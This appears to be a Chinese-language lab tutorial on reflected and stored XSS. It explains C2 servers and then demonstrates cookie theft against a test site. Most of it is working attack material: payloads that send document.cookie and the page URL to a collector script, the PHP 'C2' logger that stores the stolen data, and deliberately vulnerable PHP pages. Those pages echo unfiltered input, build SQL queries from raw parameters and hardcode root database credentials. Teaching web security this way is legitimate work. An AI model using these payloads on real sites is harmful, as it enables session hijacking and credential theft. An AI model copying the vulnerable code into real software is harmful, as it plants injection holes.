前置知识
IP和C2服务器
IP地址:相当于是每个电脑的编号,即每台联网的PC都要有IP地址,才能正常通信。
当然,有IP地址并不一定意味着可以通信。IP地址是用来标识计算机或网络设备在互联网上的位置的一组数字。通信需要更多的条件和组件,如网络连接、协议、端口等。除了IP地址,还需要确保网络连接正常、端口开放、通信协议匹配等因素,才能实现通信。因此,仅有IP地址并不足以保证通信的成功。
C2服务器
C2服务器是指命令与控制服务器(Command and Control Server),也称为C&C服务器。它是黑客或恶意软件使用的一种基础设施,用于远程控制被感染的计算机或网络。C2服务器负责接收来自恶意软件的指令,并将指令传达给受感染的计算机,以执行各种恶意活动,如数据盗取、攻击其他计算机等。
C2服务器通常使用隐藏的通信协议和技术,以避免被发现和追踪。它们可以通过域名、IP地址、IRC(Internet Relay Chat)、HTTP(Hypertext Transfer Protocol)等进行通信,以便黑客能够远程操控受感染的计算机或网络。
两者的关系
C2服务器和IP地址之间的关系是,C2服务器需要拥有一个或多个IP地址才能在互联网上进行通信。IP地址是用来标识计算机或网络设备在互联网上的位置的一组数字,它是网络通信的基础。C2服务器作为一个网络设备,也需要一个IP地址才能被其他计算机或网络找到并进行通信。
C2服务器可以使用一个固定的IP地址,也可以使用多个IP地址进行轮换和隐藏。黑客或恶意软件可以通过域名解析将域名映射到C2服务器的IP地址,以便远程控制被感染的计算机或网络。
总结来说,C2服务器需要拥有IP地址才能在互联网上进行通信,而IP地址是C2服务器被发现和进行通信的基础。
另:在实战中,恶意链接不会直接显示IP,会以域名的方式发送,而域名就好比这个人的名字,IP为其住址,溯源反制链路如下:
输入域名----域名解析服务器(dns)解析成ip地址---访问IP地址---完成访问的内容---返回信息
开始进入正题
反射型实现getcookie
info.txt是写入cookie等信息的,要记得授写权限
php代码:
//xssdemo.php文件 //反射型: session_start(); $cont = $_GET['content']; echo "你的输入:".$cont;
//getinfo.php文件 c2服务器: $name = $_GET['username']; file_put_contents('./info.txt',$name);
1.通过js如何获取cookie信息:
document.cookie
2.如何通过js发送请求:
<script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?username="+document.cookie</script> payload: <script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>
其中http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>
这是一个示例URL,其中包含一个潜在的跨站脚本攻击(XSS)漏洞。让我解释一下其中的细节:
URL中的参数content
被设置为hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?username="%2Bdocument.cookie</script>
。在这个参数的值中,我们可以看到一个JavaScript脚本被插入到了<script>
标签中。
这个脚本的目的是创建一个新的Image对象,并将其src属性设置为另一个URL:http://192.168.111.138/crm19/xss/getinfo.php?username=
加上当前文档的cookie值。这个URL将会发送一个GET请求,将cookie值作为参数发送给服务器。
换句话说,当用户访问这个URL时,浏览器会执行这段JavaScript代码,并发送一个带有用户cookie的请求到指定的URL。攻击者可以通过这种方式获取用户的敏感信息,如登录凭据或会话标识。
这种类型的攻击可以通过对输入进行适当的验证和过滤来防止。在这个例子中,应该对content
参数进行输入验证,确保不允许插入任意的JavaScript代码。
再比如 http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<button οnclick="javascript:location.href='http://192.168.111.138/crm19/xss/getinfo.php?username='%2Bdocument.cookie">点我</button>
运行恶意链接并不会触发代码,如下
点击点我之后就会触发链接,这是js代码的触发事件,关于js的事件还有很多,这里以最简单的onclick为例
更近一步,获取其它信息,cookie+url获取
//getinfo.php文件 <?php $cookie = $_GET['cookie']; $url = $_GET['url']; // 追加法一 // file_put_contents('./info.txt',$name,FILE_APPEND) //法二 $f = fopen('./info.txt',"a"); fwrite($f,'['.date("Y-m-d H:i:s").'] cookie='.$cookie." url=".$url."\n"); fclose($f);
cookie+url获取 <script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?cookie="+document.cookie+"&url="+location.href</script> pyload: <script>new Image().src="http://192.168.32.129/secure19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script>
http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script>
反射过程
存储型实现getcookie
php代码:
xssdemo.php session_start(); $cont = $_GET['content']; $addr = $_SERVER['REMOTE_ADDR']; $conn=mysqli_connect('192.168.32.129','root','123456','test'); $sql = "insert into head(addr,referer) values('$addr','$cont')"; $re = mysqli_query($conn,$sql); if($re){ echo 'yes'; }else{ echo 'no'; }
get_message.php $id=$_GET['id']; $conn=mysqli_connect('192.168.32.129','root','123456','test'); $sql="select addr,referer from head where id='$id'"; $re=mysqli_query($conn,$sql); $arr=mysqli_fetch_row($re); if($arr){ echo $arr[0]."<hr>"; echo $arr[1]; }
C2服务器(get_info.php)
$cookie = $_GET['cookie']; $url = $_GET['url']; //file_put_contents('./info.txt',$name,FILE_APPEND); $f = fopen('./info.txt',"a"); fwrite($f,'['.date("Y-m-d H:i:s").'] cookie='.$cookie." url=".$url."\n"); fclose($f);
输入 http://192.168.111.138/crm19/xss/xssdemo.php?content=hello<script>new Image().src="http://192.168.111.138/crm19/xss/getinfo.php?cookie="%2Bdocument.cookie%2B"%26url="%2Blocation,href</script>
数据库刷新后有如下
看到恶意链接已经存储到服务器数据库中
之后有人访问到有恶意链接的网页(?id=15)
此时受害人就已经中招,看到下面网络中有传输信息到C2 ,get_info.php被执行
如下是C2服务器的文件夹
存储过程